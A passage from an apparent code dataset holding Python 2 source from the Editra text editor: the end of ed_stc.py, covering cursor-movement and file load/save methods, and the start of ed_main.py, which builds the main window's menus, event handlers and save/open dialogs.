moved\n\n \"\"\"\n super(EditraStc, self).WordPartRight()\n super(EditraStc, self).WordPartRight()\n cpos = self.GetCurrentPos()\n if self.GetTextRange(cpos, cpos - 1) in SPACECHARS:\n self.CharLeft()\n\n def WordPartRightEndExtend(self): # pylint: disable-msg=W0221\n \"\"\"Extend selection to end of next change in capitalization/punctuation\n @postcondition: selection is extended\n\n \"\"\"\n super(EditraStc, self).WordPartRightExtend()\n super(EditraStc, self).WordPartRightExtend()\n cpos = self.GetCurrentPos()\n if self.GetTextRange(cpos, cpos - 1) in SPACECHARS:\n self.CharLeftExtend()\n\n def WordPartRightExtend(self): # pylint: disable-msg=W0221\n \"\"\"Extend selection to start of next change in \n capitalization/punctuation\n @postcondition: selection is extended\n\n \"\"\"\n super(EditraStc, self).WordPartRightExtend()\n cpos = self.GetCurrentPos()\n if self.GetTextRange(cpos, cpos + 1) in SPACECHARS:\n super(EditraStc, self).WordPartRightExtend()\n\n @jumpaction\n def WordRight(self): # pylint: disable-msg=W0221\n \"\"\"Move caret to beginning of next word\n @note: override builtin to include extra characters in word\n\n \"\"\"\n self.SetWordChars(NONSPACE)\n super(EditraStc, self).WordRight()\n cpos = self.GetCurrentPos()\n if self.GetTextRange(cpos, cpos + 1) in SPACECHARS:\n super(EditraStc, self).WordRight()\n self.SetWordChars('')\n\n @jumpaction\n def WordRightEnd(self): # pylint: disable-msg=W0221\n \"\"\"Move caret to end of next change in word\n @note: override builtin to include extra characters in word\n\n \"\"\"\n self.SetWordChars(NONSPACE)\n super(EditraStc, self).WordRightEnd()\n cpos = self.GetCurrentPos()\n if self.GetTextRange(cpos, cpos - 1) in SPACECHARS:\n super(EditraStc, self).WordRightEnd()\n self.SetWordChars('')\n\n def WordRightExtend(self): # pylint: disable-msg=W0221\n \"\"\"Extend selection to beginning of next word\n @note: override builtin to include extra characters in word\n\n \"\"\"\n self.SetWordChars(NONSPACE)\n super(EditraStc, self).WordRightExtend()\n cpos = self.GetCurrentPos()\n if self.GetTextRange(cpos, cpos + 1) in SPACECHARS:\n super(EditraStc, self).WordRightExtend()\n self.SetWordChars('')\n\n def LoadFile(self, path):\n \"\"\"Load the file at the given path into the buffer. Returns\n True if no errors and False otherwise. To retrieve the errors\n check the last error that was set in the file object returned by\n L{GetDocument}.\n @param path: path to file\n\n \"\"\"\n fsize = ebmlib.GetFileSize(path)\n if fsize < 1048576: # 1MB\n return super(EditraStc, self).LoadFile(path)\n else:\n ed_msg.PostMessage(ed_msg.EDMSG_FILE_OPENING, path)\n self.file.SetPath(path)\n self._loading = wx.BusyCursor()\n self.file.ReadAsync(self)\n return True\n\n def ReloadFile(self):\n \"\"\"Reloads the current file, returns True on success and\n False if there is a failure.\n @return: whether file was reloaded or not\n @rtype: bool\n\n \"\"\"\n cfile = self.GetFileName()\n if os.path.exists(cfile):\n try:\n self.BeginUndoAction()\n marks = self.GetBookmarks()\n cpos = self.GetCurrentPos()\n # TODO: Handle async re-loads of large files\n txt = self.File.Read()\n self.SetReadOnly(False)\n if txt is not None:\n if self.File.IsRawBytes() and not ebmlib.IsUnicode(txt):\n self.AddStyledText(txt)\n self.SetReadOnly(True) # Don't allow editing of raw bytes\n else:\n self.SetText(txt)\n else:\n return False, _(\"Failed to reload: %s\") % cfile\n\n self.SetModTime(ebmlib.GetFileModTime(cfile))\n for mark in marks:\n self.AddBookmark(mark)\n self.EndUndoAction()\n self.SetSavePoint()\n except (UnicodeDecodeError, AttributeError, OSError, IOError), msg:\n self.LOG(\"[ed_stc][err] Failed to Reload %s\" % cfile)\n return False, msg\n else:\n self.GotoPos(cpos)\n context = self.GetTopLevelParent().GetId()\n ed_msg.PostMessage(ed_msg.EDMSG_FILE_OPENED,\n self.GetFileName(), context)\n return True, ''\n else:\n self.LOG(\"[ed_stc][err] %s does not exists, cant reload.\" % cfile)\n return False, _(\"%s does not exist\") % cfile\n\n def RevertFile(self):\n \"\"\"Revert all the changes made to the file since it was opened\n @postcondition: undo history is re-wound to initial state and file\n is re-saved if it has an on disk file.\n\n \"\"\"\n self.Freeze()\n while self.CanUndo():\n self.Undo()\n self.Thaw()\n\n fname = self.GetFileName()\n if len(fname):\n self.SaveFile(fname)\n\n def RevertToSaved(self):\n \"\"\"Revert the current buffer back to the last save point\"\"\"\n self.Freeze()\n while self.CanUndo():\n if self.GetModify():\n self.Undo()\n else:\n break\n self.Thaw()\n\n def SaveFile(self, path):\n \"\"\"Save buffers contents to disk\n @param path: path of file to save\n @return: whether file was written or not\n @rtype: bool\n\n \"\"\"\n result = True\n try:\n tlw_id = self.GetTopLevelParent().GetId()\n ed_msg.PostMessage(ed_msg.EDMSG_FILE_SAVE,\n (path, self.GetLangId()), tlw_id)\n self.File.SetPath(path)\n self.LOG(\"[ed_stc][info] Writing file %s, with encoding %s\" % \\\n (path, self.File.GetEncoding()))\n\n if _PGET('AUTO_TRIM_WS', 'bool', False):\n self.TrimWhitespace()\n\n if self.File.IsReadOnly():\n wx.MessageBox(_(\"File is Read Only and cannot be saved\"),\n _(\"Read Only\"),\n style=wx.OK|wx.CENTER|wx.ICON_WARNING)\n return True\n else:\n if not self.File.IsRawBytes():\n self.File.Write(self.GetText())\n else:\n nchars = self.GetTextLength()\n txt = self.GetStyledText(0, nchars)[0:nchars*2:2]\n self.File.Write(txt)\n except Exception, msg:\n result = False\n self.LOG(\"[ed_stc][err] There was an error saving %s\" % path)\n self.LOG(\"[ed_stc][err] ERROR: %s\" % str(msg))\n\n if result:\n self.SetSavePoint()\n self.SetModTime(ebmlib.GetFileModTime(path))\n self.File.FireModified()\n self.SetFileName(path)\n\n wx.CallAfter(ed_msg.PostMessage,\n ed_msg.EDMSG_FILE_SAVED,\n (path, self.GetLangId()),\n tlw_id)\n\n return result\n\n def ConfigureLexer(self, file_ext):\n \"\"\"Sets Lexer and Lexer Keywords for the specified file extension\n @param file_ext: a file extension to configure the lexer from\n\n \"\"\"\n super(EditraStc, self).ConfigureLexer(file_ext)\n\n if not self._config['folding']:\n self.SetProperty(\"fold\", \"0\")\n\n # Notify that lexer has changed\n pid = self.TopLevelParent.Id\n self.LOG(\"[ed_stc][info] Lexer change notification for context %d\" % pid)\n ed_msg.PostMessage(ed_msg.EDMSG_UI_STC_LEXER,\n (self.GetFileName(), self.GetLangId()), pid)\n return True\n", "id": "7226811", "language": "Python", "matching_score": 11.443599700927734, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/ed_stc.py" }, { "content": "###############################################################################\n# Name: ed_main.py #\n# Purpose: Editra's Main Window #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2008 <NAME> <<EMAIL>> #\n# License: wxWindows License #\n###############################################################################\n\n\"\"\"\nThis module provides the L{MainWindow} class for Editra. The MainWindow is\nmain Ui component of the editor that contains all the other components.\n\n@summary: MainWindow Component\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__svnid__ = \"$Id: ed_main.py 67857 2011-06-05 00:16:24Z CJP $\"\n__revision__ = \"$Revision: 67857 $\"\n\n#--------------------------------------------------------------------------#\n# Dependencies\nimport os\nimport sys\nimport time\nimport wx\nimport wx.aui\n\n# Editra Libraries\nfrom ed_glob import *\nimport util\nimport profiler\nimport ed_toolbar\nimport ed_mpane\nimport ed_event\nimport ed_msg\nimport ed_menu\nimport ed_print\nimport ed_shelf\nimport ed_statbar\nimport ed_mdlg\nimport prefdlg\nimport syntax.syntax as syntax\nimport generator\nimport plugin\nimport perspective as viewmgr\nimport iface\nimport ebmlib\nimport eclib\n\n# Function Aliases\n_ = wx.GetTranslation\n_PGET = profiler.Profile_Get\n_PSET = profiler.Profile_Set\n\n#--------------------------------------------------------------------------#\n\nclass MainWindow(wx.Frame, viewmgr.PerspectiveManager):\n \"\"\"Editras Main Window\"\"\"\n # Clipboard ring is limited to 25, why? Because any more is a waste of\n # memory and an inefficient waste of your time to cycle through.\n CLIPBOARD = util.EdClipboard(25)\n PRINTER = None\n\n def __init__(self, parent, id_, wsize, title):\n \"\"\"Initialiaze the Frame and Event Handlers.\n @param wsize: Windows initial size\n @param title: Windows Title\n\n \"\"\"\n wx.Frame.__init__(self, parent, id_, title, size=wsize,\n style=wx.DEFAULT_FRAME_STYLE)\n viewmgr.PerspectiveManager.__init__(self, CONFIG['CACHE_DIR'])\n\n # Setup app icon and title\n util.SetWindowIcon(self)\n\n # Attributes\n self._loaded = False\n self._initialized = False # for GTK OnActivate HACK\n self._mlock = ebmlib.CallLock()\n self._last_save = u''\n self.LOG = wx.GetApp().GetLog()\n self._exiting = False\n self._handlers = dict(menu=list(), ui=list())\n\n #---- Setup File History ----#\n self.filehistory = ebmlib.EFileHistory(_PGET('FHIST_LVL', 'int', 9))\n\n #---- Status bar on bottom of window ----#\n self.SetStatusBar(ed_statbar.EdStatBar(self))\n self.GetStatusBar().Show(_PGET('STATBAR', default=True))\n #---- End Statusbar Setup ----#\n\n #---- Notebook that contains the editing buffers ----#\n self._mpane = ed_mpane.MainPanel(self)\n self.nb = self._mpane.GetWindow()\n self.PanelMgr.AddPane(self._mpane, wx.aui.AuiPaneInfo(). \\\n Name(\"EditPane\").Center().Layer(1).Dockable(False). \\\n CloseButton(False).MaximizeButton(False). \\\n CaptionVisible(False))\n self._mpane.InitCommandBar() # <- required due to nb dependencies...\n\n #---- Command Bar ----#\n self._mpane.HideCommandBar()\n\n #---- Pane Navigator ----#\n self._paneNavi = None\n\n # Printer Setup\n if MainWindow.PRINTER is None:\n MainWindow.PRINTER = ed_print.EdPrinter(self)\n\n #---- Setup Toolbar ----#\n self.SetupToolBar()\n #---- End Toolbar Setup ----#\n\n #---- Menus ----#\n menbar = ed_menu.EdMenuBar()\n\n # Todo this should not be hard coded\n menbar.GetMenuByName(\"view\").InsertMenu(5, ID_PERSPECTIVES,\n _(\"Perspectives\"), self.GetPerspectiveControls())\n\n ## Setup additional menu items\n self.filehistory.UseMenu(menbar.GetMenuByName(\"filehistory\"))\n\n # On mac, do this to make help menu appear in correct location\n # Note it must be done before setting the menu bar and after the\n # menus have been created.\n if wx.Platform == '__WXMAC__':\n wx.GetApp().SetMacHelpMenuTitleName(_(\"&Help\"))\n\n #---- Menu Bar ----#\n self.SetMenuBar(menbar)\n\n #---- Actions to take on menu events ----#\n\n # Collect Menu Event handler pairs\n self._handlers['menu'].extend([# File Menu\n (ID_NEW, self.OnNew),\n (ID_OPEN, self.OnOpen),\n (ID_CLOSE, self.OnClosePage),\n (ID_CLOSEALL, self.OnClosePage),\n (ID_SAVE, self.OnSave),\n (ID_SAVEAS, self.OnSaveAs),\n (ID_SAVEALL, self.OnSave),\n (ID_REVERT_FILE, self.DispatchToControl),\n (ID_RELOAD_ENC, self.OnReloadWithEnc),\n (ID_SAVE_PROFILE, self.OnSaveProfile),\n (ID_LOAD_PROFILE, self.OnLoadProfile),\n (ID_SAVE_SESSION, self.OnSaveSession),\n (ID_LOAD_SESSION, self.OnLoadSession),\n (ID_EXIT, wx.GetApp().OnExit),\n (ID_PRINT, self.OnPrint),\n (ID_PRINT_PRE, self.OnPrint),\n (ID_PRINT_SU, self.OnPrint),\n\n # Edit Menu\n (ID_PASTE_AFTER, self.DispatchToControl),\n (ID_CYCLE_CLIPBOARD, self.DispatchToControl),\n (ID_COLUMN_MODE, self.DispatchToControl),\n (ID_TOGGLE_FOLD, self.DispatchToControl),\n (ID_TOGGLE_ALL_FOLDS, self.DispatchToControl),\n (ID_SHOW_AUTOCOMP, self.DispatchToControl),\n (ID_SHOW_CALLTIP, self.DispatchToControl),\n (ID_QUICK_FIND, self.OnCommandBar),\n (ID_PREF, OnPreferences),\n\n # View Menu\n (ID_GOTO_LINE, self.OnCommandBar),\n (ID_GOTO_MBRACE, self.DispatchToControl),\n (ID_SHOW_SB, self.OnShowStatusBar),\n (ID_VIEW_TOOL, self.OnViewTb),\n (ID_PANELIST, self.OnPaneList),\n (ID_MAXIMIZE_EDITOR, self.OnMaximizeEditor),\n\n # Format Menu\n (ID_FONT, self.OnFont),\n\n # Settings menu\n (ID_LEXER_CUSTOM, self.OnCustomizeLangMenu),\n\n # Tool Menu\n (ID_COMMAND, self.OnCommandBar),\n (ID_STYLE_EDIT, self.OnStyleEdit),\n (ID_PLUGMGR, self.OnPluginMgr),\n\n # Help Menu\n (ID_ABOUT, OnAbout),\n (ID_HOMEPAGE, self.OnHelp),\n (ID_DOCUMENTATION, self.OnHelp),\n (ID_TRANSLATE, self.OnHelp),\n (ID_CONTACT, self.OnHelp),\n (ID_BUG_TRACKER, self.OnHelp)])\n\n self._handlers['menu'].extend([(l_id, self.DispatchToControl)\n for l_id in syntax.SYNTAX_IDS])\n\n # Extra menu handlers (need to work these into above system yet)\n self.Bind(wx.EVT_MENU, self.DispatchToControl)\n self.Bind(wx.EVT_MENU, self.OnGenerate)\n self.Bind(wx.EVT_MENU_RANGE, self.OnFileHistory,\n id=wx.ID_FILE1, id2=wx.ID_FILE9)\n\n # Update UI Handlers\n self._handlers['ui'].extend([# File Menu\n (ID_REVERT_FILE, self.OnUpdateFileUI),\n (ID_RELOAD_ENC, self.OnUpdateFileUI),\n # Edit Menu\n (ID_COPY, self.OnUpdateClipboardUI),\n (ID_CUT, self.OnUpdateClipboardUI),\n (ID_PASTE, self.OnUpdateClipboardUI),\n (ID_PASTE_AFTER, self.OnUpdateClipboardUI),\n (ID_CYCLE_CLIPBOARD, self.OnUpdateClipboardUI),\n (ID_UNDO, self.OnUpdateClipboardUI),\n (ID_REDO, self.OnUpdateClipboardUI),\n (ID_COLUMN_MODE, self.OnUpdateClipboardUI),\n # Format Menu\n (ID_INDENT, self.OnUpdateFormatUI),\n (ID_USE_SOFTTABS, self.OnUpdateFormatUI),\n (ID_TO_UPPER, self.OnUpdateFormatUI),\n (ID_TO_LOWER, self.OnUpdateFormatUI),\n (ID_WORD_WRAP, self.OnUpdateFormatUI),\n (ID_EOL_MAC, self.OnUpdateFormatUI),\n (ID_EOL_WIN, self.OnUpdateFormatUI),\n (ID_EOL_UNIX, self.OnUpdateFormatUI),\n # Settings Menu\n (ID_AUTOCOMP, self.OnUpdateSettingsUI),\n (ID_AUTOINDENT, self.OnUpdateSettingsUI),\n (ID_SYNTAX, self.OnUpdateSettingsUI),\n (ID_FOLDING, self.OnUpdateSettingsUI),\n (ID_BRACKETHL, self.OnUpdateSettingsUI)])\n\n # View Menu\n self._handlers['ui'].extend([(m_id, self.OnUpdateViewUI)\n for m_id in [ID_ZOOM_NORMAL, ID_ZOOM_IN,\n ID_ZOOM_OUT, ID_GOTO_MBRACE,\n ID_HLCARET_LINE, ID_SHOW_SB,\n ID_VIEW_TOOL, ID_SHOW_WS,\n ID_SHOW_EDGE, ID_SHOW_EOL,\n ID_SHOW_LN, ID_INDENT_GUIDES,\n ID_MAXIMIZE_EDITOR]])\n\n # Lexer Menu\n self._handlers['ui'].extend([(l_id, self.OnUpdateLexerUI)\n for l_id in syntax.SYNTAX_IDS])\n\n # Perspectives\n self._handlers['ui'].extend(self.GetPersectiveHandlers())\n\n #---- End Menu Setup ----#\n\n #---- Other Event Handlers ----#\n # Frame\n self.Bind(wx.EVT_ACTIVATE, self.OnActivate)\n self.Bind(wx.EVT_CLOSE, self.OnClose)\n self.Bind(wx.EVT_WINDOW_DESTROY, self.OnDestroy, self)\n self.Bind(ed_event.EVT_STATUS, self.OnStatus)\n\n # Find Dialog\n self._handlers['menu'].extend(self.nb.GetMenuHandlers())\n self._handlers['ui'].extend(self.nb.GetUiHandlers())\n\n #---- End other event actions ----#\n\n #---- Final Setup Calls ----#\n self.LoadFileHistory(_PGET('FHIST_LVL', fmt='int'))\n\n # Call add on plugins\n self.LOG(\"[ed_main][info] Loading MainWindow Plugins\")\n plgmgr = wx.GetApp().GetPluginManager()\n addons = MainWindowAddOn(plgmgr)\n addons.Init(self)\n self._handlers['menu'].extend(addons.GetEventHandlers())\n self._handlers['ui'].extend(addons.GetEventHandlers(ui_evt=True))\n shelf = ed_shelf.Shelf(plgmgr)\n self._shelf = shelf.Init(self)\n self._handlers['ui'].extend(shelf.GetUiHandlers(self._shelf))\n\n self.LOG(\"[ed_main][info] Loading Generator plugins\")\n generator.Generator(plgmgr).InstallMenu(menbar.GetMenuByName(\"tools\"))\n\n # Set Perspective and other UI settings\n self.SetPerspective(_PGET('DEFAULT_VIEW'))\n self.PanelMgr.Update()\n # Make sure all clients are updated to user specified display font.\n ed_msg.PostMessage(ed_msg.EDMSG_DSP_FONT,\n _PGET('FONT3', 'font', wx.NORMAL_FONT))\n\n # Message Handlers\n ed_msg.Subscribe(self.OnUpdateFileHistory, ed_msg.EDMSG_ADD_FILE_HISTORY)\n\n # HACK: for gtk as most linux window managers manage the windows alpha\n # and set it when its created.\n wx.CallAfter(self.InitWindowAlpha)\n\n __name__ = u\"MainWindow\"\n\n def OnDestroy(self, evt):\n \"\"\"Disconnect Message Handlers\"\"\"\n if evt.GetId() == self.GetId():\n ed_msg.Unsubscribe(self.OnUpdateFileHistory)\n evt.Skip()\n\n #---- End Private Member Functions/Variables ----#\n\n #---- Begin Public Member Function ----#\n def OnActivate(self, evt):\n \"\"\"Activation Event Handler\n @param evt: event that called this handler\n @type evt: wx.ActivateEvent\n\n \"\"\"\n if self._mlock.IsLocked():\n # Deactivated for popup, leave handlers hooked up\n wx.UpdateUIEvent.SetMode(wx.UPDATE_UI_PROCESS_ALL)\n evt.Skip()\n return\n\n app = wx.GetApp()\n active = evt.GetActive()\n\n # Add or remove handlers from the event stack\n if active and not self._loaded:\n self._loaded = True\n app.SetTopWindow(self)\n\n # Slow the update interval to reduce overhead\n wx.UpdateUIEvent.SetUpdateInterval(215)\n wx.UpdateUIEvent.SetMode(wx.UPDATE_UI_PROCESS_SPECIFIED)\n self.SetExtraStyle(wx.WS_EX_PROCESS_UI_UPDATES)\n\n for handler in self._handlers['menu']:\n app.AddHandlerForID(*handler)\n\n for handler in self._handlers['ui']:\n app.AddUIHandlerForID(*handler)\n\n # HACK find better way to do this later. It seems that on gtk the\n # window doesn't get activated until later than it does on the\n # other platforms. So for panels that depend on updating their\n # initial state we need to send out a fake update message here.\n if wx.Platform == '__WXGTK__' and not self._initialized:\n self._initialized = True\n nb = self.GetNotebook()\n ed_msg.PostMessage(ed_msg.EDMSG_UI_NB_CHANGED,\n (nb, nb.GetSelection()))\n elif not active:\n self._loaded = False\n self.DeActivate()\n\n evt.Skip()\n\n def OnUpdateFileHistory(self, msg):\n \"\"\"Update filehistory menu for new files that were opened\n @param msg: Message object (data == filename)\n\n \"\"\"\n # May get notified after/during delete\n if self:\n try:\n self.filehistory.AddFileToHistory(msg.GetData())\n except wx.PyAssertionError:\n # ignore errors that wxMac sometimes raises about unicode data\n pass\n\n def AddFileToHistory(self, fname):\n \"\"\"Add a file to the windows file history as well as any\n other open windows history.\n @param fname: name of file to add\n @todo: change the file history to a centrally managed object that\n all windows pull from to avoid this quick solution.\n\n \"\"\"\n if _PGET('FHIST_LVL', 'int', 9) > 0:\n ed_msg.PostMessage(ed_msg.EDMSG_ADD_FILE_HISTORY, fname)\n\n def AddMenuHandler(self, menu_id, handler):\n \"\"\"Add a menu event handler to the handler stack\n @param menu_id: Menu item id\n @param handler: Handler callable\n @postcondition: handler is added only if its not already in the set\n\n \"\"\"\n for item in self._handlers['menu']:\n if item[0] == menu_id:\n return\n else:\n self._handlers['menu'].append((menu_id, handler))\n\n def AddUIHandler(self, menu_id, handler):\n \"\"\"Add a UpdateUI event handler to the handler stack\n @param menu_id: Menu item id\n @param handler: Handler callable\n @postcondition: handler is added only if its not already in the set\n\n \"\"\"\n for item in self._handlers['ui']:\n if item[0] == menu_id:\n return\n else:\n self._handlers['ui'].append((menu_id, handler))\n\n def DoOpen(self, evt, fname=u'', lnum=-1):\n \"\"\" Do the work of opening a file and placing it\n in a new notebook page.\n @keyword fname: can be optionally specified to open\n a file without opening a FileDialog\n @type fname: string\n @keyword lnum: Explicitly set the line number to open the file to\n @type lnum: int\n\n \"\"\"\n try:\n e_id = evt.GetId()\n except AttributeError:\n e_id = evt\n\n if e_id == ID_OPEN:\n fdir = self.GetNotebook().GetCurrentCtrl().GetFileName()\n if len(fdir):\n fdir = os.path.dirname(fdir)\n elif not hasattr(sys, 'frozen'):\n fdir = os.curdir\n\n dlg = wx.FileDialog(self, _(\"Editra: Open\"), fdir, \"\",\n ''.join(syntax.GenFileFilters()),\n wx.OPEN | wx.MULTIPLE | wx.CHANGE_DIR)\n dlg.SetFilterIndex(_PGET('FFILTER', 'int', 0))\n\n if ebmlib.LockCall(self._mlock, dlg.ShowModal) == wx.ID_OK:\n _PSET('FFILTER', dlg.GetFilterIndex())\n for path in dlg.GetPaths():\n if _PGET('OPEN_NW', default=False):\n wx.GetApp().OpenNewWindow(path)\n else:\n self.nb.OpenPage(ebmlib.GetPathName(path),\n ebmlib.GetFileName(path))\n self.nb.GoCurrentPage()\n\n dlg.Destroy()\n else:\n self.LOG(\"[ed_main][info] CMD Open File: %s\" % fname)\n self.nb.OpenPage(ebmlib.GetPathName(fname),\n ebmlib.GetFileName(fname), quiet=True)\n self.nb.GoCurrentPage()\n\n # lnum arg is only used with command line open\n if lnum >= 0:\n buff = self.nb.GetCurrentCtrl()\n buff.GotoLine(lnum)\n\n self.Raise()\n\n def DeActivate(self):\n \"\"\"Helper method for the App to tell this window to remove\n all its event handlers.\n\n \"\"\"\n self.SetExtraStyle(0)\n\n # HACK set update ui events back to process all here in case\n # opened dialog needs them. Not sure why this is necessary but it\n # is the only solution I could find to fix the external find\n # dialogs so that their buttons become enabled when typing in the\n # text control.\n #\n # If the windows that took the active position is another mainwindow\n # it will set the events back to UPDATE_UI_PROCESS_SPECIFIED to\n # prevent all the toolbars/menu items of each window from updating\n # when they dont need to.\n wx.UpdateUIEvent.SetMode(wx.UPDATE_UI_PROCESS_ALL)\n self.FlushEventStack()\n\n def FlushEventStack(self):\n \"\"\"Clear the Menu and UpdateUI event handler stack\n @note: only unregisters this frames handlers from the app\n\n \"\"\"\n app = wx.GetApp()\n for handler in self._handlers['menu']:\n app.RemoveHandlerForID(handler[0])\n\n for handler in self._handlers['ui']:\n app.RemoveUIHandlerForID(handler[0])\n\n def GetCommandbar(self):\n \"\"\"Get this windows command bar\n @return: ed_cmdbar.CommandBarBase\n\n \"\"\"\n return self._mpane.GetControlBar(wx.BOTTOM)\n\n def GetEditPane(self):\n \"\"\"Get the editor notebook/command bar control\n @return: ed_mpane.MainPane\n\n \"\"\"\n return self._mpane\n\n def GetNotebook(self):\n \"\"\"Get the windows main notebook that contains the editing buffers\n @return: reference to L{extern.flatnotebook.FlatNotebook} instance\n\n \"\"\"\n return getattr(self, 'nb', None)\n\n def GetShelf(self):\n \"\"\"Get this windows Shelf\n @return: reference to L{iface.Shelf} instance\n @note: returns the plugin instance not the actual notebook, if\n a reference to the notebook is needed for parenting call\n GetWindow on the object returned by this function.\n\n \"\"\"\n return self._shelf\n\n def IsExiting(self):\n \"\"\"Returns whether the windows is in the process of exiting\n or not.\n @return: boolean stating if the window is exiting or not\n\n \"\"\"\n return self._exiting\n\n def IsTopWindow(self):\n \"\"\"Is this main window 'the' current top window\n @return: bool\n\n \"\"\"\n return wx.GetApp().GetTopWindow() == self\n\n def LoadFileHistory(self, size):\n \"\"\"Loads file history from profile\n @return: None\n\n \"\"\"\n try:\n hist_list = _PGET('FHIST', default=list())\n if len(hist_list) > size:\n hist_list = hist_list[:size]\n self.filehistory.History = hist_list\n except UnicodeEncodeError, msg:\n self.LOG(\"[ed_main][err] Filehistory load failed: %s\" % msg)\n\n def OnNew(self, evt):\n \"\"\"Start a New File in a new tab\n @param evt: Event fired that called this handler\n @type evt: wxMenuEvent\n\n \"\"\"\n if evt.GetId() == ID_NEW:\n self.nb.NewPage()\n self.nb.GoCurrentPage()\n else:\n evt.Skip()\n\n def OnOpen(self, evt):\n \"\"\"Open a File\n @param evt: Event fired that called this handler\n @type evt: wxMenuEvent\n\n \"\"\"\n if evt.GetId() == ID_OPEN:\n self.DoOpen(evt)\n else:\n evt.Skip()\n\n def OnFileHistory(self, evt):\n \"\"\"Open a File from the File History\n @param evt: Event fired that called this handler\n @type evt: wxMenuEvent\n\n \"\"\"\n fnum = evt.GetId() - wx.ID_FILE1\n fname = self.filehistory.GetHistoryFile(fnum)\n\n # Check if file still exists\n if not os.path.exists(fname):\n mdlg = wx.MessageDialog(self, _(\"%s could not be found.\\nPerhaps \"\n \"it's been moved or deleted.\") % \\\n fname, _(\"File Not Found\"),\n wx.OK | wx.ICON_WARNING)\n mdlg.CenterOnParent()\n ebmlib.LockCall(self._mlock, mdlg.ShowModal)\n mdlg.Destroy()\n # Remove offending file from history\n self.filehistory.RemoveFileFromHistory(fnum)\n else:\n self.DoOpen(evt, fname)\n\n def OnClosePage(self, evt):\n \"\"\"Close a page\n @param evt: Event fired that called this handler\n @type evt: wxMenuEvent\n\n \"\"\"\n if not self.IsActive():\n evt.Skip()\n return\n\n e_id = evt.GetId()\n if e_id == ID_CLOSE:\n self.nb.ClosePage()\n elif e_id == ID_CLOSEALL:\n self.nb.CloseAllPages()\n else:\n evt.Skip()\n\n def SaveFile(self, tablbl, buf):\n \"\"\"Save the given page in the notebook\n @param tablbl: main notebook tab label\n @param buf: EdEditView instance\n @note: intended for internal use! method signature may change\n\n \"\"\"\n fname = ebmlib.GetFileName(buf.GetFileName())\n if fname != u'':\n fpath = buf.GetFileName()\n result = buf.SaveFile(fpath)\n self._last_save = fpath\n if result:\n self.PushStatusText(_(\"Saved File: %s\") % fname, SB_INFO)\n else:\n err = buf.GetDocument().GetLastError()\n self.PushStatusText(_(\"ERROR: %s\") % err, SB_INFO)\n ed_mdlg.SaveErrorDlg(self, fname, err)\n buf.GetDocument().ResetAll()\n else:\n self.OnSaveAs(ID_SAVEAS, tablbl, buf)\n\n def SaveCurrentBuffer(self):\n \"\"\"Save the file in the currently selected editor buffer\"\"\"\n page = self.nb.GetSelection()\n self.SaveFile(self.nb.GetPageText(page), self.nb.GetCurrentCtrl())\n\n def SaveAllBuffers(self):\n \"\"\"Save all open editor buffers\"\"\"\n for page in xrange(self.nb.GetPageCount()):\n buff = self.nb.GetPage(page)\n if isinstance(buff, wx.stc.StyledTextCtrl):\n if buff.GetModify():\n self.SaveFile(self.nb.GetPageText(page), buff)\n\n def OnSave(self, evt):\n \"\"\"Save Current or All Buffers\n @param evt: Event fired that called this handler\n @type evt: wxMenuEvent\n\n \"\"\"\n e_id = evt.GetId()\n if e_id == ID_SAVE:\n self.SaveCurrentBuffer()\n elif e_id == ID_SAVEALL:\n self.SaveAllBuffers()\n else:\n evt.Skip()\n return\n\n def OnSaveAs(self, evt, title=u'', page=None):\n \"\"\"Save File Using a new/different name\n @param evt: Event fired that called this handler\n @type evt: wxMenuEvent\n\n \"\"\"\n if page:\n ctrl = page\n else:\n ctrl = self.nb.GetCurrentCtrl()\n\n if title == u'':\n title = os.path.split(ctrl.GetFileName())[1]\n\n sdir = ctrl.GetFileName()\n if sdir is None or not len(sdir):\n sdir = self._last_save\n\n dlg = wx.FileDialog(self, _(\"Choose a Save Location\"),\n os.path.dirname(sdir),\n title.lstrip(u\"*\"),\n u''.join(syntax.GenFileFilters()),\n wx.SAVE | wx.OVERWRITE_PROMPT)\n\n if ebmlib.LockCall(self._mlock, dlg.ShowModal) == wx.ID_OK:\n path = dlg.GetPath()\n dlg.Destroy()\n\n result = ctrl.SaveFile(path)\n fname = ebmlib.GetFileName(ctrl.GetFileName())\n if not result:\n err = ctrl.GetDocument().GetLastError()\n ed_mdlg.SaveErrorDlg(self, fname, err)\n ctrl.GetDocument().ResetAll()\n self.PushStatusText(_(\"ERROR: Failed to save %s\") % fname, SB_INFO)\n else:\n self._last_save = path\n self.PushStatusText(_(\"Saved File As: %s\") % fname, SB_INFO)\n self.SetTitle(\"%s - file://%s\" % (fname, ctrl.GetFileName()))\n self.nb.SetPageText(self.nb.GetSelection(), fname)\n self.nb.GetCurrentCtrl().FindLexer()\n self.nb.UpdatePageImage()\n self.AddFileToHistory(ctrl.GetFileName())\n else:\n dlg.Destroy()\n\n def OnSaveProfile(self, evt):\n \"\"\"Saves current settings as a profile\n @param evt: Event fired that called this handler\n @type evt: wxMenuEvent\n\n \"\"\"\n if evt.GetId() == ID_SAVE_PROFILE:\n dlg = wx.FileDialog(self, _(\"Where to Save Profile?\"), \\\n CONFIG['PROFILE_DIR'], \"default.ppb\", \\\n _(\"Profile\") + \" (*.ppb)|*.ppb\",\n wx.SAVE | wx.OVERWRITE_PROMPT)\n\n if ebmlib.LockCall(self._mlock, dlg.ShowModal) == wx.ID_OK:\n profiler.TheProfile.Write(dlg.GetPath())\n self.PushStatusText(_(\"Profile Saved as: %s\") % \\\n dlg.GetFilename(), SB_INFO)\n dlg.Destroy()\n else:\n evt.Skip()\n\n def OnLoadProfile(self, evt):\n \"\"\"Loads a profile and refreshes the editors state to match\n the settings found in the profile file.\n @param evt: Event fired that called this handler\n @type evt: wxMenuEvent\n\n \"\"\"\n if evt.GetId() == ID_LOAD_PROFILE:\n dlg = wx.FileDialog(self, _(\"Load a Custom Profile\"),\n CONFIG['PROFILE_DIR'], \"default.ppb\",\n _(\"Profile\") + \" (*.ppb)|*.ppb\", wx.OPEN)\n\n if ebmlib.LockCall(self._mlock, dlg.ShowModal) == wx.ID_OK:\n profiler.TheProfile.Load(dlg.GetPath())\n self.PushStatusText(_(\"Loaded Profile: %s\") % \\\n dlg.GetFilename(), SB_INFO)\n dlg.Destroy()\n\n # Update editor to reflect loaded profile\n for win in wx.GetApp().GetMainWindows():\n win.nb.UpdateTextControls()\n else:\n evt.Skip()\n\n def OnSaveSession(self, evt):\n \"\"\"Save the current session of open files.\n 